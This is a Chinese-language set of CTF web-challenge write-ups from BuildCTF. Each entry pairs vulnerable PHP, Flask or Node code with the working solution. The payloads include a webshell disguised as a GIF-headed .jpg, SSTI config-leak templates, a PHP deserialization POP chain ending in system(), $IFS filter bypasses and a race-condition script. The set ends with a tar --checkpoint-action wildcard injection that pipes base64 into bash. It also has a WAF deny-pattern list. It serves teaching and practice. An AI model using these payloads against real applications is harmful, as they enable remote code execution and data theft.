ez!http

POST / HTTP/1.1
Host: 27.25.151.80:35298
User-Agent: buildctf
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: blog.buildctf.vip
X-Forwarded-For: 127.0.0.1
Date: 2042.99.99
From: [email protected]
Via: buildctf.via
Accept-Language: buildctf
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

user=root&getFlag=This_is_flag

babyupload

有文件头和MIME验证 过滤了php

.htaccess
AddType application/x-httpd-php .jpg
1.jpg
GIF89a
<? echo `cat /var/www/html/f*`;?>

functionsssssss.php

<?php

function checkFileContent($content)
{
    $backlist = ["php","\$_GET","\$_POST","eval","assert","system","passthru","exec","popen","shell_exec","create_function","call_user_func","call_user_func_array","uasort","preg_replace","array_map","include","require","require_once","include_once","env","bash","dev"];
    foreach ($backlist as $value){
        $value = preg_replace("/[\r\n]/",'',$value);
        if (preg_match("/$value/i",$content)) return false;
    }
    return true;
}

function checkFileHeadler($headler)
{
    $writelist = array("gif"=>"47494638","png"=>"89504e47","ffd8ff","ffd8ffdb");
    foreach($writelist as $w){if (preg_match("/$w/",$headler)) return true;}
    return false;
}

function checkFileType($pix)
{
    $writelist = array("jpg", "png", "gif","jpeg","htaccess");
    foreach($writelist as $w){if ($pix === $w) return true;}
    return false;
}

function checkMIME($mime)
{
    $writelist = array("image/jpeg", "image/png", "image/gif","image/jpeg");
    foreach($writelist as $w){if ($mime === $w) return true;}
    return false;
}


function tmplate($content)
{
    return "<span>$content</span>";
}
# upload.php
<?php
        include "functionsssssss.php";
        error_reporting(0);
        if(isset($_POST['submit'])){
            $filename = 'uploads/'.$_FILES['upload_file']['name'];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $pix = explode('.',$filename);
            $pix = end($pix);
            $mime = $_FILES['upload_file']['type'];
            $fileContents = file_get_contents($temp_file);
            $headler = bin2hex(substr($fileContents,0,4));
            $flag = 0;
            if (checkFileType($pix) and checkMIME($mime) and (checkFileHeadler($headler) or $pix === "htaccess")){
                if (checkFileContent($fileContents) or $pix === "htaccess"){
                    if (move_uploaded_file($temp_file,$filename)) echo tmplate($filename);
                    else echo tmplate("<span>上传失败</span>");
                }else{
                    echo "<img src='images/yijian_fail.jpg' width='300px' height='300px'/>";
                }
            }else{
                echo tmplate("别传些我不认识的图片了呜呜呜");
            }
        }else echo tmplate("给我传点图片吧,看看你的图片值不值得拿flag");
?>

flag在环境变量里

<? echo `set`;?>
<? echo `export GZCTF_FLAG`;?>

我写的网站被rce了?

ban了/ flag 空格 ;

log_type=access||nl$IFS/fl?g||

tflock

robots.txt有提示 可以弱密码登录 不过没法进入admin.php

结束后 爆破成功了emmm

RedFlag

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/redflag/<path:redflag>')
def redflag(redflag):
    def safe_jinja(payload):
        payload = payload.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
    return flask.render_template_string(safe_jinja(redflag))

SSTI绕过

Payload:{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

另外还有

{{ url_for.__globals__['current_app'].config }}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
// 利⽤self
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
{{self.__dict__._TemplateReference__context.config}}

LovePopChain

 <?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}



if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);
}else{
    highlight_file(__FILE__);
} 

exp:

<?php
class MyObject{
    public $NoLove;
    public $Forgzy;
    
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
 
}

class hybcx{
    public $JiuYue;
    public $Si;

}

$a = new MyObject();
$a->NoLove = new hybcx();
$a->NoLove->Si = new MyObject();
echo urlencode(serialize($a));

Payload:

GET: ?No[Need.For.Love=O%3A8%3A%22MyObject%22%3A2%3A%7Bs%3A6%3A%22NoLove%22%3BO%3A5%3A%22hybcx%22%3A2%3A%7Bs%3A6%3A%22JiuYue%22%3BN%3Bs%3A2%3A%22Si%22%3BO%3A8%3A%22MyObject%22%3A2%3A%7Bs%3A6%3A%22NoLove%22%3BN%3Bs%3A6%3A%22Forgzy%22%3BN%3B%7D%7Ds%3A6%3A%22Forgzy%22%3BN%3B%7D
POST: y3y4=system('tac /ofl1111111111ove4g');

ez_md5

使用ffifdyop绕过

 <?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('不可以哦!'); 
    } 
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
    if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
    {
        echo $flag;
    }else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>
不是吧这么简单的md5都过不去?

robots提示md5(114514xxxxxxx)

from hashlib import md5
from string import digits

en_md5 = "3e41f780146b6c246cd49dd296a3da28"
# 114514xxxxxxx
for i1 in digits:
    for i2 in digits:
        for i3 in digits:
            for i4 in digits:
                for i5 in digits:
                    for i6 in digits:
                        for i7 in digits:
                            de_md5 = str('114514'+i1+i2+i3+i4+i5+i6+i7).encode('utf-8')
                            if md5(de_md5).hexdigest() == en_md5:
                                print(de_md5)

Payload:

GET: ?a[]=1&b[]=2
POST: Build[CTF.com=1145146803531

Why_so_serials?

 <?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class Gotham{
    public $Bruce;
    public $Wayne;
    public $crime=false;
    public function __construct($Bruce,$Wayne){
        $this->Bruce = $Bruce;
        $this->Wayne = $Wayne;
    }
}

if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
    $Bruce = $_GET['Bruce'];
    $Wayne = $_GET['Wayne'];

    $city = new Gotham($Bruce,$Wayne);
    if(preg_match("/joker/", $Wayne)){
        $serial_city = str_replace('joker', 'batman', serialize($city));
        $boom = unserialize($serial_city);
        if($boom->crime){
            echo $flag;
        }
    }else{
    echo "no crime";
    }
}else{
    echo "HAHAHAHA batman can't catch me!";
}
HAHAHAHA batman can't catch me!

简单的字符串逃逸 构造19个joker即可

exp:


<?php
class Gotham{
    public $Bruce;
    public $Wayne;
    public $crime=true;
    public function __construct($Bruce,$Wayne){
        $this->Bruce = $Bruce;
        $this->Wayne = $Wayne;
    }
}

$a = new Gotham('1','jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}');
// O:6:"Gotham":3:{s:5:"Bruce";s:1:"1";s:5:"Wayne";s:1:"2";s:5:"crime";b:1;}
// O:6:"Gotham":3:{s:5:"Bruce";s:1:"1";s:5:"Wayne";s:20:"2";s:5:"crime";b:1;}";s:5:"crime";b:1;}
echo serialize($a);

Payload:

GET: ?Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}

你需要获得 1e20 个曲奇饼干,希望你会玩得开心!

// provided.js
const express = require('express');
const app = express();

const http = require('http').Server(app);

const port = 3000;

const socketIo = require('socket.io');
const io = socketIo(http);

// 定义两个对象来存储会话和错误信息
let sessions = {};
let errors = {};

// 设置静态文件目录为当前目录
app.use(express.static(__dirname));

// 处理根路径的 GET 请求,返回 index.html 文件
app.get('/', (req, res) => {
    res.sendFile(__dirname + "/index.html");
});

// 监听 Socket.io 的连接事件
io.on('connection', (socket) => {
    // 初始化当前会话的值为 0,错误计数也为 0
    sessions[socket.id] = 0;
    errors[socket.id] = 0;

    // 监听断开连接事件
    socket.on('disconnect', () => {
        console.log('用户已断开连接');
    });

    // 监听聊天消息事件,并将其发送回客户端
    socket.on('chat message', (msg) => {
        socket.emit('chat message', msg);
    });

    // 监听错误接收事件,更新会话值并发送当前分数
    socket.on('receivedError', (msg) => {
        sessions[socket.id] = errors[socket.id];
        socket.emit('recievedScore', JSON.stringify({"value": sessions[socket.id]}));
    });

    // 监听点击事件
    socket.on('click', (msg) => {
        let json = JSON.parse(msg);

        // 如果会话值超过 1e20,发送 FLAG 并返回
        if (sessions[socket.id] > 1e20) {
            socket.emit('recievedScore', JSON.stringify({"value": "FLAG"}));
            return;
        }

        // 如果接收到的值与当前会话值不匹配,发送错误信息
        if (json.value != sessions[socket.id]) {
            socket.emit("error", "previous value does not match");
        }

        // 更新会话值
        let oldValue = sessions[socket.id];
        let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue;
        sessions[socket.id] = newValue;
        socket.emit('recievedScore', JSON.stringify({"value": newValue}));

        // 如果接收到的 power 大于 10,发送错误信息
        if (json.power > 10) {
            socket.emit('error', JSON.stringify({"value": oldValue}));
        }

        // 更新错误计数
        errors[socket.id] = oldValue;
    });
});

// 启动服务器,监听指定端口
http.listen(port, () => {
    console.log(`服务器正在监听端口 ${port}。 (访问 http://localhost:${port})`);
});
// 你的值只有在客户端通过发送 receivedError 事件确认错误时才会更新
// 所以你可以直接禁用这个事件
// 将以下代码粘贴到浏览器的 JS 控制台

// 禁用 'error' 事件的监听
socket.off('error');

// 发送点击事件,尝试更新服务器端的值
// 这里发送了两次,因为服务器端只有在存储的点数超过 1e20 时才会更新
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));

eazyl0gin

var express = require('express');
var router = express.Router();
const crypto = require('crypto');
const { type } = require('os');

/* GET users listing. */
router.get('/', function(req, res, next) {
  res.send('respond with a resource');
});

router.post('/login',function(req,res,next){
  var data = {
    username: String(req.body.username),
    password: String(req.body.password)
  }
  const md5 = crypto.createHash('md5');
  const flag = process.env.flag

  if(data.username.toLowerCase()==='buildctf'){
    return res.render('login',{data:"你不许用buildctf账户登陆"})
  }

  if(data.username.toUpperCase()!='BUILDCTF'){
    return res.render('login',{data:"只有buildctf这一个账户哦~"})
  }
  
  var md5pwd = md5.update(data.password).digest('hex')
  if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
    return res.render('login',{data:"密码错误"})
  }
  return res.render('login',{data:flag})

})
module.exports = router;

根据提示看到输⼊的 username 经过了 toUpperCase和toLowerCase处理

js的大小写有如下特性

对于toUpperCase(): 字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"
对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

username: buıldctf
password: 012346

ez_waf(脏数据绕过waf )

WAF绕过小技巧

文件源码

<?php

// 检查是否有文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
    $file = $_FILES['upload_file'];

    // 检查文件是否成功上传
    if ($file['error'] === UPLOAD_ERR_OK) {
        $file_path = $file['tmp_name'];
        $file_size = $file['size'];
        $file_name = basename($file['name']);
        
        // 删除文件扩展名检查

        // 检查文件大小(例如限制为 2MB)
        if ($file_size > 2 * 1024 * 1024) { // 2MB
            die("文件大小超过限制!");
        }

        // 读取前5000个字符
        $file_content = file_get_contents($file_path, false, null, 0, 5000);

        // 模拟 WAF 检查规则
        $dangerous_patterns = [
            // PHP 标签检测
            '/<\?php/i',             // PHP 开始标签
            '/<\?=/',                // 短标签
            '/<\?xml/',              // XML 标签
            '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen)\b/i', // 恶意函数

            // SQL 注入相关
            '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
            '/--\s/',                // SQL 注释
            '/\/\*\s.*\*\//',        // 多行 SQL 注释
            '/#/',                   // 单行 SQL 注释

            // XSS 攻击相关
            '/<script\b.*?>.*?<\/script>/is',  // <script> 标签及内容
            '/javascript:/i',                  // javascript URI
            '/on\w+\s*=\s*["\'].*["\']/i',     // 事件处理程序

            // 特殊字符
            '/[\<\>\'\"\\\`\;\=]/',            // < > ' " ` ; =
            '/%[0-9a-fA-F]{2}/',               // URL 编码
            '/&#[0-9]{1,5};/',                 // HTML 实体编码
            '/&#x[0-9a-fA-F]+;/',              // 十六进制 HTML 实体编码

            // 常用的系统命令和函数
            '/system\(/i',                     // PHP system() 函数
            '/exec\(/i',                       // PHP exec() 函数
            '/passthru\(/i',                   // PHP passthru() 函数
            '/shell_exec\(/i',                 // PHP shell_exec() 函数
            '/file_get_contents\(/i',          // 文件读取操作
            '/fopen\(/i',                      // 打开文件操作
            '/file_put_contents\(/i',          // 文件写入操作
            // Unicode 和 UTF-7 绕过
            '/%u[0-9A-F]{4}/i',                // Unicode 编码
            '/[^\x00-\x7F]/',                  // 非 ASCII 字符
            // 检测路径穿越
            '/\.\.\//',                        // 路径穿越
        ];

        // 遍历所有规则,检查是否匹配
        foreach ($dangerous_patterns as $pattern) {
            if (preg_match($pattern, $file_content)) {
                die("文件内容包含危险字符或代码,上传被拦截!");
            }
        }

        // 如果文件通过了WAF检查,保存文件
        $upload_dir = 'uploads/';
        
        // 检查目录是否存在,如果不存在,则创建它
        if (!file_exists($upload_dir)) {
            mkdir($upload_dir, 0777, true); // 创建目录并设置权限
        }

        // 处理文件名,避免特殊字符
        $new_file_name = $upload_dir . basename(preg_replace('/[^a-zA-Z0-9._-]/', '_', $file_name));

        if (move_uploaded_file($file_path, $new_file_name)) {
            echo "文件上传成功!";
        } else {
            echo "文件保存失败!";
        }
    } else {
        echo "文件上传失败,错误代码:" . $file['error'];
    }
} else {
?>
<!-- 文件上传表单 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background: url('waf_background.jpg') no-repeat center center fixed;
            background-size: cover;
            display: flex;
            justify-content: center;
            align-items: flex-start;
            height: 100vh;
            margin: 0;
        }
        .upload-container {
            background-color: rgba(255, 255, 255, 0.9);
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
            text-align: center;
            position: absolute;
            top: 10%; /* 调整这个值来控制表单距离顶部的高度 */
        }
        .upload-container h2 {
            color: #333;
            margin-bottom: 20px;
        }
        .file-input {
            display: none;
        }
        .custom-file-upload, .submit-btn {
            display: inline-block;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
        }
        .custom-file-upload {
            background-color: #007bff;
            color: white;
            margin-right: 10px;
        }
        .custom-file-upload:hover {
            background-color: #0056b3;
        }
        .submit-btn {
            background-color: #28a745;
            color: white;
            border: none;
        }
        .submit-btn:hover {
            background-color: #218838;
        }
    </style>
</head>
<body>

<div class="upload-container">
    <h2>漂亮国蓝宫WAF,你能绕过吗?</h2>
    <form action="" method="POST" enctype="multipart/form-data">
        <label for="upload_file" class="custom-file-upload">选择文件</label>
        <input type="file" name="upload_file" id="upload_file" class="file-input">
        <input type="submit" value="上传文件" class="submit-btn">
    </form>
</div>

<script>
    document.querySelector('.custom-file-upload').addEventListener('click', function() {
        document.getElementById('upload_file').click();
    });
</script>

</body>
</html>

fake_signin(并发无锁)

import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'BuildCTF'

CURRENT_DATE = datetime(2024, 9, 30)

users = {
    'admin': {
        'password': 'admin',
        'signins': {},
        'supplement_count': 0,  
    }
}


@app.route('/')
def index():
    if 'user' in session:
        return redirect(url_for('view_signin'))
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username]['password'] == password:
            session['user'] = username
            return redirect(url_for('view_signin'))
    return render_template('login.html')

@app.route('/view_signin')
def view_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    signins = user['signins']

    dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
             for i in range(1, 31)]

    today = CURRENT_DATE.strftime("%Y-%m-%d")
    today_signed_in = today in signins

    if len([d for d in signins.values() if d]) >= 30:
        return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
    return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)

@app.route('/signin')
def signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    today = CURRENT_DATE.strftime("%Y-%m-%d")

    if today not in user['signins']:
        user['signins'][today] = True
    return redirect(url_for('view_signin'))

@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    supplement_message = ""

    if request.method == 'POST':
        supplement_date = request.form.get('supplement_date')
        if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"
        return redirect(url_for('view_signin'))

    supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
    return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)

@app.route('/logout')
def logout():
    session.pop('user', None)   
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5051)

在 /supplement_signin 路由中存在⼀个并发漏洞,具体原因是因为在检查和更新user['supplement_count'] 的值时没有锁机制。

在并发环境下,多个请求可以在相近的时间访问该代码,从而绕过检查,使得 user['supplement_count'] 被多次更新。

Exp:

import threading

import requests

base_url = 'http://27.25.151.80:45456/'
USERNAME = 'admin'
PASSWORD = 'admin'
supplement_dates = [f'2024-09-{i:02d}' for i in range(1, 31)]
session = requests.Session()

login_data = {
    'username': USERNAME,
    'password': PASSWORD
}
session.post(base_url + '/login', data=login_data)


def supplement_signin(supplement_date):
    data = {'supplement_date': supplement_date}
    response = session.post(base_url + 'supplement_signin', data=data)
    print(f"Date: {supplement_date}, Status Code: {response.status_code},Response: {response.text}")


threads = []  # 创建一个空列表,用于存储线程对象
for supplement_date in supplement_dates:
    t = threading.Thread(target=supplement_signin, args=(supplement_date,))  # 为每个日期创建一个线程
    t.start()  # 启动线程
    threads.append(t)  # 将线程对象添加到列表中
for t in threads:
    t.join()  # 等待所有线程完成

sub

import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
    if request.method == 'POST':
        name = request.form.get('name')
        content = request.form.get('content')

        messages.append({'name': name, 'content': content})
        flash('Message posted')
        return redirect(url_for('message'))  

    return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            flash('Username already exists')
            return redirect(url_for('register'))
        users[username] = {'password': generate_password_hash(password), 'role': 'user'}
        flash('User registered successfully')
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and check_password_hash(users[username]['password'], password):
            access_token = jwt.encode({
                'sub': username,
                'role': users[username]['role'],
                'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
            }, app.config['JWT_SECRET_KEY'], algorithm='HS256')
            response = make_response(render_template('page.html'))
            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
            # response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
            return response
        else:
            return jsonify({"msg": "Invalid username or password"}), 401
    return render_template('login.html')

@app.route('/logout')
def logout():
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('jwt', '', expires=0)
    flash('You have been logged out')
    return resp

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/page')
def page():
    jwt_token = request.cookies.get('jwt')
    if jwt_token:
        try:
            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']
        except jwt.ExpiredSignatureError:
            return jsonify({"msg": "Token has expired"}), 401
        except jwt.InvalidTokenError:
            return jsonify({"msg": "Invalid token"}), 401
        except Exception as e:
            return jsonify({"msg": "Invalid or expired token"}), 401

        if role != 'admin' or current_user not in users:
            return abort(403, 'Access denied')

        file = request.args.get('file', '')
        file_path = os.path.join(DOCUMENT_DIR, file)
        file_path = os.path.normpath(file_path)
        if not file_path.startswith(DOCUMENT_DIR):
            return abort(400, 'Invalid file name')

        try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
        except subprocess.CalledProcessError as e:
            content = str(e)
        except Exception as e:
            content = str(e)
        return render_template('page.html', content=content)
    else:
        return abort(403, 'Access denied')


@app.route('/categories')
def categories():
    return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5050)

/page页中使用content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)读文件 可以伪造jwt然后命令拼接读flag

刮刮乐

<?php
$referer = $_SERVER['HTTP_REFERER'];

if (isset($_GET['cmd'])) {
    $c = $_GET['cmd'];
    if (strpos($referer, 'baidu.com') !== false) {
        // 允许访问
        system($c . " >/dev/null 2>&1");
    } else {
        echo '不对哦,你不是来自baidu.com的自己人哦';
    }
}
?>

Payload:

GET /?cmd=tac%20/flag;ls HTTP/1.1
Referer: baidu.com

打包给你

使用tar –checkpoint提权操作 详解–checkpoint-action的参数及作用

from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os


app = Flask(__name__)


@app.before_request
def check_uuid():
    uuid_cookie = request.cookies.get('uuid', None)

    if uuid_cookie is None:
        response = make_response(redirect('/'))
        response.set_cookie('uuid', str(uuid.uuid4()))
        return response
    
    try:
        uuid.UUID(uuid_cookie)
    except ValueError:
        response = make_response(redirect('/'))
        response.set_cookie('uuid', str(uuid.uuid4()))
        return response
    
    g.uuid = uuid_cookie

    if not os.path.exists(f'uploads/{g.uuid}'):
        os.mkdir(f'uploads/{g.uuid}')


@app.route('/', methods=['GET'])
def main():
    return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
    
    
@app.route('/api/upload', methods=['POST'])
def upload():
    file = request.files.get('file', None)
    if file is None:
        return 'No file provided', 400
    
    # check for path traversal
    if '..' in file.filename or '/' in file.filename:
        return 'Invalid file name', 400
    
    # check file size
    if len(file.read()) > 1000:
        return 'File too large', 400
    
    file.save(f'uploads/{g.uuid}/{file.filename}')
    return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200


@app.route('/api/download', methods=['GET'])
def download():
    @after_this_request
    def remove_file(response):
        os.system(f"rm -rf uploads/{g.uuid}/out.tar")
        return response

    # make a tar of all files
    os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

    # send tar to user
    return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')



if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8888, threaded=True)

关键代码在于:其中tar命令后⾯直接使⽤了通配符 * 号,又因为上传的文件名是我们可控的,所以这里会导致通配符注⼊,从而实现命令执行。../的绕过则使用base64进行绕过。

--checkpoint=1
--checkpoint-action=exec=echo bHMgLz4gJChwd2QpL3Rlc3QudHh0|base64 -d|bash #ls /> $(pwd)/test.txt

需要点两次下载,第⼀次执行ls /,第⼆次下载test.txt查看内容